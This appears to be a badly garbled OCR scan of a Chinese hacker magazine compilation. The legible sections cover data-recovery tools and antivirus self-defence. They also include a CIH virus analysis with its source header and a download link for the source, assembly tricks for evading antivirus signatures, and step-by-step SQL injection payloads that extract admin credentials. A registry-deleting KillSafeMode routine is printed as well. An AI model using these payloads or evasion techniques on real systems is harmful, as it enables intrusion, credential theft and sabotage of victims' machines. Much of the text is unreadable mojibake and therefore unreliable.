PRI ) TR, e LT ] LN (0 0] 2 2 S BOhs £ Bk 20 4 4 504 AT FE Akt =i ST A o

W= TFIR TR G S

TEEE BN BAR NS, e &I SO B TR . B2 S IRERE 7 X L R
BRI, U Ghost ZRFIR AR s A I 23 DX BRI BR ST BT AE (1 23 X AT #5475 BA
7% H 5 AT EAR A .

YiRESE T IRE THRE, | ARE TREARERE RIS, 3wk
i, — R SE B NREL R R KA 5, BT EM) R R TR SR R BRI B AR B
SO AHTLEC R, FRIR B S 5 G AL B .

i DL E R IR, RIEEA ReR BIRMMER ST, VR AT R 7R 22 AN F R
BAFRIRAG AR, BRI ERAEAE AR R ZE .

C. IR R HAh A7 A R _E B9 ?

I KB INAE R EEE: a0 R SNBSS AL IR 1) AR AR R I R, RWT B
B NAFRE B R s R g b, P ARE T A, X EWARME Zero Assumption
Digital Image Recovery , BEHE TG IHFEE,

2+ PRE A5 9 CD B DVD Pk B Al : IXAh W = SO R v RERS A AN o (6 FH S 9 CD
Recovery Toolbox, & LM HIGH IR ERATREZ 98U, AR EBARCR, IRIERE
A 30 RIAHHI CDCheck o AR /NEF JLRHAES ) BadCopy Pro #AHZAE

MR, U #WSE, SIEIAEVFZ WA 2, Blanfiik 2 Kif: SkyDrive i
AHEANES, T K — DRSS A 0 A 51 !

Jeid——

B B U B 5 1R U s A5 0y AR o X e SR R R TV B 2 E e A REAR
(BRI Bk, T H— MBS R R — eSO S S A AN BRAR, A5 o 1 24
PR AT 5t B X SO RE M R A5 LU BR AR, Bt DA I B 4 77 A8 B B 2500 454 1)
S ST AT LA 24 2F B IEURIK E 8 F: FinalData, 0&0FormatRecovery,
BadCopy Pro %545, BAKAH4NFE —#%

FEN BRI E 4 TR

LN A e fa——
EasyRecovery
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FinalData

DiskGenius

Recuva

Recover My Files

Smart Fat Recovery

0&0 MediaRecovery

Pandara Recovery

FreeFastRecovery

Recava

DiskGenius

Smart FAT Recovery —aKf#1) FAT #&xCfFKE T

Smart NTFS Recovery —ak##if) NTFS k0 E T A

Decura

PC Inspecor File Recovery W] DMRERES: . AL, IR sl i 25 A7 e 4% B
TestDisk  WiAHIEE T A HDColne FISR MY R AE A L A0 BdE 5 L2 5 — A4
ISOBuster —AMAEfSKE TAO. DAO. ISO. BIN. IMG. CIF. FCD &4 % 1N 75 HIZINEUH
KA G 9% TR

ISOPuzzle — MITWRE e HdE i T H B AF

System Rescue CD — MRl LMEH T RGN Linux TR, B0 L RG L
B, Ul parted. partimage. fstools. mc. vim. nano. samba. ssh Z£%&%. W] DL5EaBIEE

orIX . A A A 5
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[#] WEHFER ASKRIWEFEEARRE T
#%3F: huanxiang6
RiE: M

1. EHHEAR

XANBA B T4 VIWARE R 48, HE RERFFRP R, E38 7 —/MEAEE,
Bt J5 R N B 2, S EOREE R LEAT P W 03 25 (0 S HF N RE N 7T - B AR R
B RITIRHHT T8 — UOR BRI, T2 LB AR .

18 F AR B SRR AE M B0 R G R — AN B, (ER AT DUS TR R I — AN B3R
4r, XFE—LIN T SRR R S B IR R 5, SRS LA AR EE A B B R AT A S R
T LAH R (EE B i tH I, AR s R, RS SECR BRI R AR
FEI G o BT LG R TR M 46 I 58 B R AL A, S8 T 03 73 R R o 1X o 2 i
A, 75 2005 G433 744 24 iz F 6 1 NOD32, MCAFEE 54,

KA 21 D BE BN F 2 —, Ridbis BEHAR M ANIEE, X
TEE ARG 28T SO, ORI O s, XA TERREREMNRATE, FBRAAN
REIERIZ1T, BB AREH T2 MR, X FH T, BRVAGETEEK
FEILRA MThA, R R8I F B B R VR AN B X 32 A B A 1 v s 1 !

M AR IS F e 45 . NOD32. MCAFEE 45:4%

2. UROE (BHRHLELEEN)

KA, 2 RRIEJEREA L F], Fan Shadow RGeE#H NORTONGOBACK (1)
safemode S . X TE AR VIEFEA MRS FHUGHE H—Le=sa], SRJE10H P T
BeAf, EH R, RAMEEEREEER, EEBRERESK — AR 1R 8 R
FER W T IX— 5, TR AR BN AEAT TS, #EH TEGEREAR, BA
JREAUB MR BOHE, FFGE B —ANRG, REIREIEAT, WS TER. ik
AREAEG T B RHL B, IR A ER IR S B RN B AR I ik, RN
Bt AL AN T s, DR BRI R B2 — K BT VR AN R iR mL=1b 4k
i E

TfSE M IhBE LU o8 4s—BER, (EUR JEER RN A | 2 T 505 HEAE 75 Je LI 7 2R TR
K

I AGE 0  kaspersky 7.0 1 8. 0,

3. FEhPE

ANEERAERA RGN, ORI A A — AR B S, 1 3 BB IR A AR T
XA, IR R EIE 6. 0 AR T s i X —H AR e 2 T AR, HAR BRI RS E
S BB RE S AP 90% LA IR AR KR 35 o IX AN REWE AR R 25 2 T R IO S v, RTINS o AR
NSRRI o E R I T AR P B i e 25 5 IR AR B R, Xt o 4 R 2
PLRIRE R Z —.

FRARIX P By AT AN i v, IR aRaE i Q. QQ RN M T4k E, HH 75%
DLERI AR, AR AR 22, FrUAfE QQ o, BRI T — L ) S R AR
0 SOUSOU %%, X EefFE itk R E, HEWILBERKIT AN, FILAHIL TR 4
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IRIZFNETR, ARAREMER, DAL T ZAE IR NS0 44 SRS BT 75 e 9 A !

HIPS HEAKiAFE

HIPS J& —Ff i Wa 42 R FEL G P SCAF BIE AT A STtz B T At 1 ST A DA B SO A R 1
B, HmRIR S 1 R VA . i SRARBRLE T, IR B Te s AT B T . Eh iR
Wiki T —NMREERET, HIPS BBk H R & TR T, At EEAEiTm. 51 H
—HJil: 7 REERRAFIR R HT, AR REIRAS R EERRIE, T HIPS R ix L
@, 7 HIPS 2 LA ARG KR — R, REREG % HEI K, 4r0] BLR A HIPS
MANTE ABERA: . (HRZ HIPS FEAREFCONPT kI, =2 RAEMM RSN kB, EARERH M
2 b HAM T SE IRV FEHL B AT R

R 3 8 R R AR R R H B, (15 R KT REERAS OB IS, 10 HIPS BEMFR ULIX 2 )

&

AT A HI HIPS 7] LAy 3D:AD (ApplicationDefend) —— N A2 57 B 44 &
RD (RegistryDefend) y¥ B4 & . FD (FileDefend) SCHR A 2 o B 38 Jeb A 53 1 0
SEAMENBAT IR . FEM RIS EME . DRSO S B AR AT P I R sk L.

B hips (EHNEBIEAR) , a2 B KK At R E05 k 8%, & M T4
MBI KB nips. T BARAERT KBS, (HREIEThEE L SOE R ERAZE N %
A nips WL KBS UL A TR RAE EURAE N2 e ae s b, @i R e 1 tep/ip
PSR PR 52 F P U il J— ip bbb, 5503t T AR ) BB P 7 1) A AR P R 55 85 4% 3
FEATE P AR 00 R R VA AT 4 P AL B T hips ZR 4575 K A% 5t 2 KR 138 40 a BEREE FH b #E7%,
B A L T R NI R S A

FTANECIT U, AR 2 24 R R B 2 ek B i A7 A IR 2 2 1 F R G i — s HoAth
(IR, XANMT L% hips M IEISR)E bomb H 454 10 I P2 75 AUFIE4T, FIFIRIE A
O LR FIWHZAT N T IER %4, RIUBAT RiElT, SMAEZiElr. —Bekil, &
F P4 R S RRAR T T AR I UL R, 25— hips B BEIEH B 2B 1EA D 5
RENMAIANEAT, XFES A N R, P EE Sl et st A FRIRIRIC T . HAE,
RS A hips AR 2N, Ba—H % ERHZEN2E YT bomb A AHIE & 24
FEe R FO BB 2 F P A KB FAR, BT LA, 3% B — 3K T RE 5 /N T PR 7 K 4
15 ——#2 i 4G 97 11 DDOS Bk MRy arp kW B Bhfg Cuf I FH P fe g 3580

WIS F R SCS. REMIE 6. 07. 0. RTHUS . &84 (I 5E4s HIPS) .
4. NTFS BAFTHA

UETREARSELE RGEISATIY, G0 NTFS XI5 A 85 B i s Ak, T RS 25 2 35 96
FUCEERET I, IEAR K AT WECAIEH, FrUAEER.

5. $yBaNH

e — Rt I T — S S ARAT S BT o SRR ST E — AN R IE R — RE B 15
0 T 4R i S o 20 A A 4 9 s b, SRR P ) ek o LR L X3 A L % T 3 Il T T
AT 525 — R 1R Ak ThAE, IS, —Se k04 R BRI g m] LUIE S
B 1, flaniEdin, RESEE . MRS
6+ BifE H B d A28

NORTON HJEig T IX—HAR, IR HAETBiP TE 2550 V2% (1 1 /8 it 5t .
X I AT LR R P L, S IR AT N, IR BN R R N RO E M BT N
—, DUNIXFIEREH 7RG AT T 18022, e i, FrblaE RS 2 &, FTbh Norton
MR T nortonantibot, TSI METGE . 25kia F BRI AR B A 1R £ 2 4
] R
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[BR] B&iR: WERABIR T RE 52

& . kD, leo
PS: &/ DEXBXEHR: RATR
BE: B2HTIEERAS. BHEEE

HEMRSERE . N ARIE X

VLB BB . R FE OIS FRE 22 R4/ C. TLH R %eiR C. ILH BB

LR B E ZLRAE A Windows 1] VxD (RERMA & BRENFE 7)) a7 ik, X — Ak H
FEFRE A CPU AR, CIH &8 H B 7712 1 S0 SIDT HfS IDT base address (FH KT ##
RAFFRIEMNE) , SR IDT /9 INT 3 FON HHhESON TR CTH EH S INTS FEFE N 3843,
A E S E—A INT 318418472 CIH B 5/ INT 3 NDFEFH, IXAE CIH R #alt
AT DASRAR S5t e 2000 B PR (R AR 0), FEW #R K 25 DRO 27 A7 8% A Z 7508 0, FH DA
JeRl 2 A CIH a4 3t/ . W DRO HMEA N 0, MK R CIH Widsf2l gt /e, ik CIH
R AR IR SE I INT 3 N1, SRJ5 IR Y OX — ¢ AU AT AR BATR FH >Rk B CIH F2/7,
DA 1R B 5 B TE N AE A, (ER BB 1R AT B 0 JE 4R IR AR AR AS) o SR DRO (AN 0, U
CIH i #2247 I B, L9 2604 24 0 EBX 27 A7 2o X R4S DRO 277 8%, DLAE sk B ARiC,
SRIGIEFE INT 20 Hilr, {8 A VxD call Page Allocate RGEVIR, FERH Windows RGN
1f (system memory) , Window s &%t N AEHAEYEFE v CO000000h~FFFFFFFFh, & 42 F RAF TN
FI A B RE A SRS RE P (0 A7 DX 38, dn R e AR BB B AR N AE R, DDA 23 HA 7 1) [X B P 1)
A7, BT HITE 252 4 Hhuhik 25 (8] 76 C0000000h LA _F 1 N A7
WS P AE FE ), U K I TR ST ot 5t 2 1 22 B s BRI ER AT R, AT
PA GBI ISR N, SRS RELREE, CIH R FE YA INT 3 ik
N CIH W A& R INT 3 NHFE P, #F MM INT20 >k 5% & W H — 4
IFSMgr InstallFileSystemApiHook FJFHEf7, HIRAESCHE RGALFE R HhH:4 1, DIAL
WO b #RAE, BB B0 IFSMgr InstallFileSystemApiH ook AN, XAFERLTER 1
HoEH 7T M LT fE ., [ B Windows ®X N ) IFSMgr Ring0 FileIO(In
stallableFileSystemManager, TFSMgr). ARSSFEFHIN bR, PAMET CIH 7
WH, XA, — EHILERIT S SRR A, ) CTH W7 26— T AR SO, T i S
PR PE A& AT HAT SCE, G, Sy, A, Wiad %, KR A RS E
I Windows IFSMgr 10 IRZSFEF . CIH ALEE 2 MR PE MRS, FIR AT347 3¢
PRI B MR A R, ARG, BRSO fE, SO H IS B RS B R .
XTARZH) PE FEY, HE s, BIPHKEBEREEAE, CIH BSEA S mE
B, WARIRERF RS . e TAE G CIH iapK R R Je i IDT SR INT 3
N R E 5 o

WL LTHIR SC SR BRI ST DA RAA N R B A ELAD phdE T BIOS RN AR, fEHLES
eeEal. ASIIEIRZ FHHA H Flash BIOS SR kLR, wT LA 2B 1k CIH i &
R EWR . (ARAERT, REZE KA Flash BIOS, VAT —Kites B H—Fiif &
& BIOS M #5. Bt LA /N — foRTE, IR ] B A R R 2l

NHEE T\ sorry

N JRERZE s
1 IR EoRas: i
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SR B @ B RN S HCRIIR BRAE . WA HRE L S B A B 2R B SRR A A
2i%ﬁ IR ERER CPU. B, ATE%
SEHLEEE: ARpkE” RFRTE BIOS HELEELLS) CPU ML AMIAMEA. Jos B 0] LLIE I L
BIOS B3, maamﬁfﬁﬁﬁ%ﬁﬁﬂ seHEm CPU A, fi CPU R R NAFEEAR
WO A e TAET G $RIR . X R R AT IR B2 SEHL
3.0 B BN ER

Windows VEMZR B WA, BARWEEE S H U TARTREIR o X Fh 2R I AT IRt 2 28
Hlo

Q

4. WK 6K
IEHBOCIRAMT I — 5K RIRIR 2, 5 SR8 O6EL, 28 /NN LS CIKE e & 1o Wi
ATRAEYG Sk E B A G T (5 5 XTI, 45806k SARNE S, ([FIR KRN %
AMEHE, FEART LR, M E “No Disc” T . ATUAESHEZECIRAT N, 3
WG IR e 578 1IE W TAE .
5. B IR RE A

MAEL /N (ps: NESAIEE T D). B aeE sy 0. st A E R Rk,
X gk AT R R R B A A A5, MR IR U B 2 1 77 A ORI o g
ULAERL A b 10 ARGUE A 3k . WR I — P 8E, ANE R BERL 1Y O A MUK
XAk (10 i 2 R LD B ), 0 JEIR T FHL 1 & - RIS A Bl — i — i (X
— RIS B AR, M 0. 1. 2e---dEIRN T, EAHFEAEAIZAEE, tf37E BIOS
HOR RO RIGHGE, PRGOS ML, FEFE RO, — BRI R

wawiaﬁ% He LUF Co I H B RATES A E K2 E (AMHIERATEL HE B!
: % The Virus Program Information *
s seleokeseksoksksokeksoksksokkskkoksksokakokskok sk sksksoksksoksksokskokskskoksksoksksok skl oksksokskok

vk ok

; % Designer : CIH Source : TTIT of TATUNG in Taiwan *

; * Create Date : 04/26/1998 Now Version : 1.4 *

; % Modification Time : 05/31/1998 *

C ok %

: % Turbo Assembler Version 4.0 : tasm /m cih *

: % Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;ZWikiZEH ik
;% % fFHAE TurboAssembler

; * =

Al {fE Borland C++ 3.1 F3E %

;% Modification History *

X
%

vl.0 1. Create the Virus Program. *

2. The Virus Modifies IDT to Get Ring0 Privilege. *

04/26/1998 3. Virus Code doesn’t Reload into System. *

4. Call IFSMgr InstallFileSystemApiHook to Hook File System. 3
5. Modifies Entry Point of IFSMgr InstallFileSystemApiHook. 3

X K XK X K
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: % 6. When System Opens Existing PE File, the File will be *
Infected, and the File doesn’t be Reinfected. *

7. It is also Infected, even the File is Read-Only. *

8. When the File is Infected, the Modification Date and Time *
of the File also don’t be Changed. *

9. When My Virus Uses IFSMgr RingO FilelO, it will not Call *
Previous FileSystemApiHook, it will Call the Function *

that the IFS Manager Would Normally Call to Implement

this Particular I/0 Request. *

10. The Virus Size is only 656 Bytes. *

O S SR G SR SR

¥
X

vl.1 1. Especially, the File that be Infected will not Increase *
it’s Size... = %

05/15/1998 2. Hook and Modify Structured Exception Handing. *
When Exception Error Occurs, Our OS System should be in *

Windows NT. So My Cute Virus will not Continue to Run, *

it will Jmup to Original Application to Run. 3

3. Use Better Algorithm, Reduce Virus Code Size. *

4. The Virus “Basic” Size is only 796 Bytes. *

S R I S GRS

X
%

; vl.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
2. Modify the Bug of vl.1 *
;% 05/21/1998 3. The Virus ”Basic” Size is 1003 Bytes. *

* K ¥

Y
%

vl.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
So When Open WinZip Self-Extractor ==> Don’ t Infect it. *
05/24/1998 2. The Virus “Basic” Size is 1010 Bytes. *

* K ¥

; % v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. 3k

% 2. Change the Date of Killing Computers. 3*

;% 05/31/1998 3. Modify Virus Version Copyright. *

: * 4. The Virus "Basic” Size is 1019 Bytes. *
IREEMEE: RIBAKEAT. fIBE2ET. CLH&RA

B N #H oM Bk http://ys—c.ysl68.com/?CIH i B 1.2 1.3 L4 R
. rar 50c7bt0c0d7dkkit0cOcodbtlbtoOcrrgnnlbbbtlbt4btOclbul4z97f14z
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F oD BURME RS A — L% W75 %

YE#: chishubiao

APk

add % ade

ADD 5 ADC

ADD 1 B sub -1

add dword ptr ss:[ebp-130], edx —————— adc dword ptr ss:[ebp—-130], edx
ADD [EAX], CH ADD [EAX], DH

ADD [EAX], BH 0038 ADD [EAX+40], AL 0040 40

ADD [EAX+EAX*2+46], AL ADD [EAX+EAX*2+46], CL

ADD [EAX+40], DL 0050 40 0058 40 ADD [EAX+40], DL

ADD AH, CH OOEC 00F4 ADD AH, DH

add dword ptr ss:[ebp-130], edx ———— adc dword ptr ss:[ebp—130], edx
C Itk

CMP & SUB

call &4 (4).004CF607 push ZfF (4).004CF607

CMP DWORD PTR DS:[100170A4],0 ——————————— sub DWORD PTR DS:[100170A4], 0
CALL ————————- BRI T CALL FREEHELE NOP w Al LA CALL fstbhkiZ & NOP

Jiik 2 FHHEA BA MOV &% NOP & R Al LG’ AS . ml BAiEZ XOR
T3k 3-—EMHE jnz Bk Z B R/ AT SR AN/

CALL EAX |CALL EBX

LEaiE 4 CMP: B NN HadR S EF T INZ %4

HLAE UL OMP B AE st Bk AR FR AT 10T LAFE CMP FH NOP J5i7E4E INZ 1% JMP
ANHEAT OMP HE3K

CMP ESI, 1

JNZ SHORT VVV. 1000D793

D Ik
DAA AT HEG AT RS DAS IRtk RS
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1P

JE B¢
INZ g
jnz Y
JE (i
je B¢
jnz ol
js ol
Jje B¢
jnz (i
je ol
JE (i
JE B¢
JNS g
NS (i
JNB (i

jnb short fsg2 0.0040015D
JvpP NEAR [1071c]

JNB

JNL

JB

JNA

jb

Jjg

Jp

jle

jle

Jjee

jnz

JB

POP ECX
jnc—jnb
JGE

ja short fsg2 0.0040015D

JMP NEAR [1071B]

jnz——je—jmp BE R EFE T BRI HbE & A R EE A (1]
JNZ 00874E85—MOV EAX, 88B6D0 RJ PLZ&1Z ik JE 00874E85—MOV EAX, 88B6D0O

L 3k

LEA EBP, [ESP+10] g LEA EBP, [ESP+10]

Mtk

MOVSX 5y MOVZX

MOV EBP, ESP % AND AH, CH

MOV [EBP-18], ESP % MOV [EBP-18], AH

MOV EAX, [ESP+10] g MOV EAX, [ESP+10]

MOV [ESP+10], EBP % MOV [ESP+10], EBP

mov [ebp—256], eax % adc [ebp—226], eax

MOV EDI, [EBP+10] % MOV EDI, [EBP+11]
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MOV EBX, DWORD PTR DS: [EST]
MOV EBP, ESP————— AND AH, CH

MOV EBX, DWORD PTR DS:[ESI]———————-

%

XOR EBX, DWORD PTR DS: [EST]

XOR EBX, DWORD PTR DS: [EST]

P IRk

push % call

PUSH EBX PUSH EDI
PUSH ESI PUSH EAX
PUSH EDI PUSH ESI
PUSH EAX PUSH EBX

S FF 3k

sbb £ adc
sub g% mov
SHL 24 SAL
SAR B SHR
sub ebp, T————— add ebp, -7

sub ebx, eax——————— sbb esi, ecx

SBB ECX, DWORD PTR DS:[ESI+2]-————

ADC ECX, DWORD PTR DS: [ESI+2]

PUSH EAX 5y PUSH EBX

SUB ESP, EAX g SUB ESP, EAX
PUSH EBX % PUSH EDI

PUSH EST 0 PUSH EAX

PUSH EDI g PUSH EST

sub ebx, eax————————— sbb esi, ecx

T 3k

TEST EST, EST % AND EST, EST

X IFk
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xor I sub

XOR [EAX], AL————- i MoV [EAXT, AL
XOR EAX, EAX % OR EAX, EAX
Hofth

B jd 508 J6 IERTAE T JB — Al 2 Ay, 2 BEHE T
ascll M, FA FIETDMEBCR/NG, EHKIEE T Bk

CALL —————— FEH| 7 CALL BRBEIE 2 NOP #t n] LA CALL fy 3k 1% s NOP
Jiik 2 FHHEA A MOV &ZK NOP & R Al LG’k AS . A LA % XOR
Jiik 3——FMHE jnz Bk Nk ik o] R/

INZ 00874E85———PUSH DWORD PTR DS: [88F658]

PUSH "R TH MOV ECX, 88COAC BRI LA JNZ 1% MOV &z

005E 01 ADD BYTE PTR DS:[ESI+1], BL 1&&5i%
006E 01 ADD BYTE PTR DS:[ESI+1], CH XFEHIIIHL = A KEIZS

BHOXFER & 2F T 10710 Bitthhl, A%A, wTEMBHH
ARG EA L AT B

JMP DWORD PTR DS:[1071C]-——DS: [1071b]
EATUE T BN B 2 AR M E

A N4 WE LT HELS kB
CALL EAX |CALL EBX
MOV DWORD PTR SS:[EBP-1C], EAX MOV DWORD PTR SS:[EBP-1C], EBX

EbXide4 CMP: B N AL EF F INZ X484
WAL CMP LU R IE A Wk AR AT AT DA CMP FH NOP $ 7248 INZ 1% 3% JMP
ARHEAT CMP Hezk

CMP ESI, 1
JNZ SHORT VVV. 1000D793
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AR MOV £k i%e 4 R F 5t 2% EST 45 ESP+14
E T JE BT L84 XOR AL, AL %4 7T LL NOP $i
MOV [ESP+14], ESI

JE 1000A74B #k#%2: 4464 XOR AL, AL

16 B0k

MOV ESP, ESI

ADD ESP, 14

LEA R EEALIR TR 4, BRIXFERIE AN B ol fe A ReiatT

LEA ECX, [ESP+10]

BB ITLET, LS, nr

MOV EAX, DWORD PTR DS: [EBX]

CMP EAX, -1

JE 100017E9 k& LEA ECX, [ESP+10]

LA LVE & — R A X4, A5 LEA Hikibfg

LA MOV CMP JE =AM NOP #i4E4E LEA HE] MOV CMP JE Mt |, £
JMP Bk FANE 4 1EAT

BSCRNSAEI Gi B AL AL

INS BYTE PTR ES:[EDI], DX /<1> DEC ESP K<L>
PREFIX ADDRSIZE: /N g> INC EDI K<G>

KRR IR, RAASIRA, BT, SV RER, mEfE, 3oRE
iZH, REREREGE. ...

fnE ARG
pushad
mov bx, sys. #eigHhE
mov ecx , K/ o5t /4
xor byte ptr ds:l[ebx], iLE
inc ebx
loopd short sys. 33 H—HA) )k
popad
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pushad

call hacksky. 004C2049 R EIE: bR

pop eax
sub eax, hacksky. 004C2049  _E—fJ#ht: ASCIT "X-1 L”
push eax
mov ecx, 0AF7 ——fI# K/ CFAAELL 4) ; K/NA A
mov ebx, hacksky. 004A3000 s Hosp iy B
add ebx, dword ptr ss:[esp]
mov eax, dword ptrds: [ebx] : ZE{HBEE

xXor eax, 1111 ——— 22 [ {5 6
mov dword ptr ds:[ebx], eax
add ebx, 4

loopd short hacksky. 004C205D Bk 312

pop eax

popad

" EB 9A jmp short hacksky. 004C2009 €PN P

00 00 00 58 2D 49 20 4C 00 50 B9 F7 OA 00 00 BB 00 30 4A 00 03 1C 24 8B

004C2043 > 60

004C2044 E8 00000000
004C2049 58

004C204A 2D 49204C00
004C204F 50

004C2050 B9 F70A0000
004C2055 BB 00304A00
004C205A 031C24
004C205D 8B03
004C205F 35 11110000
004C2064 8903
004€2066 83C3 04
004€2069 " E2 F2
004C206B 58

004C206C 61

004C206D

60 E8 00

03 35 11 11 00

00 89 03 83 C3 04 E2 F2 58 61 EB 9A
3l

8D 6C 01

00 8B 45 90 OF 84 00 00 00 00 85 CO OF 84 EO A7 4C 00

lea ebp, dword ptr ds:[ecx+eax]

mov eax, dword ptr ss:[ebp—T70]
je sys. F—HJFHHE
test eax, eax

je 12212121

ATLLELS

call REAE jmp e B ] N T R
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ZHFTEANER

fEZ& : hack4ar

ER: WTEBER get A, MREFAHE, I /50 and "=
wFE

HUHAUHHHHHBHHBHHBH AR AR AR B HEHBHHBHHBETH
and exists (select * from MSysAccessObjects) XM 2 ¥ R~ 2 ACC BUIEE,
MSysAccessObjects & ACCESS RIEKIATR,

and exists (select * from admin)

and exists(select id from admin)

and exists(select id from admin where id=1)

and exists(select id from admin where id>1)

AREBEMXT id>1 IEBNHRAANLE—ID AfFH id<50 #ETE

and exists (select username from admin)

and exists (select password from admin)

and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
and exists (select id from admin where len(username)=6 and id=1)
and exists (select id from admin where len(password)<10 and id=1)
and exists (select id from admin where len(password)>5 and id=1)
and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97

R[E TIEE, 15HEASE— username EME—IASTE ASCHEBRI 97, thIi= a.
Y& 8 username, 1,1 t&A% username, 2,1 FeJA T,

JBERLIE username £k password # OK ' T
HUHBHHHHHBHHBHHBH A B R AR AR B HHBHHBHHBH AR AR A HEHH
HHEH

RREEA
HHBHHHBHBHBR BB R BB R R AR A A A A A HHHHHAA
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%' and 1=1 and '%'="

%' and exists (select * from admin) and '%'='

%' and exists(select id from admin where id=1) and '%'="

%' and exists (select id from admin where len(username)<10 and id=1) and
101 !

%' and exists (select id from admin where len(password)=7 and id=1) and
101 !

%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'="

XEHiHE—T, BREEABEM, F1I0%' B0 and '%'="

F MSSQL £u3EE, FEATUIE and '%'="{##&A%--

EE—REREEA I UER union 1846,
HUEHHHHHHHBHHBHHBHHBHH B HH B H BB H BB HBHHBHHBH R HHHHH
HUEHHBHHHBHH

KRS &if,

HEHHRHBHAHBHBAHBHBRHB AR HBA AR H SR HBHHRH

order by 10

and 1=2 union select 1,2,3,4,5,6,7,8,9,10

and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin

and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where
id=1

REE, B—xREHA—T, where id=1 X1 2F ID=1 WWEE RN, where id=1
2R ID=2 FEEAN, —MAN where id=1 XREBIER, NiZZRNRIENE
EAE! GER, EBMidRSVA—ER, HAEZ 1000k ! )

HHHBHHAHBH AU B R H B R H BB H BB R BB SR HHSH
cookie jEA
HHAHBHHAHBHHH BB H BB A BB SRR BB HHHH

http://www. *****¥* com/shownews.asp?id=127
http://www. *****¥* com/shownews.asp
alert(="id="+escape("127"));
alert(="id="+4+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
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alert(="id="+escape("127 and 1=2 union select
1,username,password,4,5,6,7,8,9,10 from admin"));
alert(="id="+escape("127 and 1=2 union select
1,username,password,4,5,6,7,8,9,10 from admin where id=1"));

XLERPANZEANAERETIE, JFHiEAMITTIE, XEXTRANKSE R, (REEHRMIF
Fh—#, FIRKESEBAER, BHBEEAZHERTET,
HEHUHBHAABBHHRHB AR HB R AR AR HBAHRHBHRH

RBIEA

HEHHBHBABBHUHRHB A BB HB R AR AR HBA BB AR HB AR H SR HHHHSH
HEHHHHBHBHHH

union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,*
from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a
inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin
as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from
(admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a
inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join
admin as b on a.id=b.id) inner join admin as ¢ on a.id=c.id) inner join admin
asdon

a.id=d.id)
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
Se&HF 2010 FH-KBiIXKE7 © ZeLE RIXFTE

105



and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on
a.id=b.id)

WirZ 2RI

& ALE
E5.MNATRAZEIER RILERRAEERIE.

AR EEET R EMREXRBFRANTEAEAZERANER, —#LERAMER,
SE AV ZEENINESHY.

*/

VOID KillSafeMode()

{

HKEY hKey[5];
::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Control\\SafeB
oot\\Minimal",&hKey[1]);
::RegDeleteKey(hKey[1],"{4D36E967-E325-11CE-BFC1-08002BE10318}");

::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Control\\SafeB
oot\\Network",&hKey[2]);
::RegDeleteKey(hKey[2],"{4D36E967-E325-11CE-BFC1-08002BE10318}");

::RegOpenKey(HKEY _LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\S
afeBoot\\Minimal",&hKey[3]);
::RegDeleteKey(hKey[3],"{4D36E967-E325-11CE-BFC1-08002BE10318}");

::RegOpenKey(HKEY_LOCAL_MACHINE,"CurrentControlSet\\Control\\SafeBoot\\

Network",&hKey[4]);
::RegDeleteKey(hKey[4],"{4D36E967-E325-11CE-BFC1-08002BE10318}");
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::RegCloseKey(hKey[1]);
::RegCloseKey(hKey[2]);
::RegCloseKey(hKey[3]);
::RegCloseKey(hKey[4]);

C#SMFEMME, PIEEEANESERmM | (RKBERU

BR )

fE& : ovov

using System;
using System.Collections.Generic;
using System.ComponentModel,
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace HBEXFEN Y
{
public partial class Form2 : Form
{
public Form2()
{
InitializeComponent();
}
private void buttonl_Click(object sender, EventArgs e)

{

Form1 ovov = new Form1();

ovov.Show();
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this.Hide();

}
private void Form2_Load(object sender, EventArgs e)
{
timerl.Enabled = true;
}
string a = "R EH OVOV HIFRIREEN M /N34, BRI, BEKR

G =

gizhengipa@foxmail.com, X% www.resources-sharing.com FERHREBS, &

inti =0;
private void timerl Tick(object sender, EventArgs e)
{

labell.Text += a;

i++;

if(i==100)

{i=0;

labell. Text = "",;

}

}

+tEMIHSEE— FORM, WBRRE, &+24%KA, #i—4A TIMER ZEN@mAEIE,
using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;
using System.lO;

using System.Windows;

using System.Globalization;
namespace HEXFENLER

{
public partial class Form1 : Form
{
public Form1()
{
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InitializeComponent();

}
public void buttonl Click(object sender, EventArgs e)
{

listViewl.ltems.Clear();

if (comboBox1.Text =="")

{

MessageBox.Show("EiEFE FhHIERRIETF, BMHEL ! ", "Warning ! ",
MessageBoxButtons.OK, MessageBoxlcon.Warning);
}
else
{
string[,] shuzu = { IMUHF R ZAIEE, LM EZHEMAT, FlW:
{"14","11111111", "ovov", "58", "&" } BT B KRS, FUEET };
Random ¢ = new Random();
intq =0;
inta =0,
a = int.Parse(comboBox1.Text);

for (inti=0;i< a; i++)

{
g = c.Next(0,28);
for (intj=1;j<=4;j++)
{

listViewl.ltems.Add(shuzulq, jI);

}
}
